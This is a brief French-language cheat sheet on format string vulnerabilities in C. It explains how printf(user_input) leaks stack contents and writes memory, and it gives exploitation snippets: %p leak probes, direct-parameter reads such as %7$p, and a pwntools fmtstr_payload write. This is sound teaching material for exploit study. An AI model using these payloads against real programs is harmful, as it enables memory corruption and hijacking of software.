Format String — Lecture et écriture mémoire

Stack Lecture/Écriture

Principe

Quand un programme fait printf(user_input) au lieu de printf("%s", user_input), l'utilisateur peut injecter des spécificateurs de format (%x, %p, %s, %n) pour lire la stack ou écrire en mémoire arbitraire.

Exploitation

# Lire la stack
printf("AAAA%p.%p.%p.%p.%p.%p")
# Si 41414141 apparaît à position N -> vulnérable

# Lire le Nème argument
printf("%7$p")    # affiche le 7ème argument

# Écrire avec pwntools (automatique)
from pwn import *
payload = fmtstr_payload(6, {target_addr: valeur})
# 6 = offset de nos données sur la stack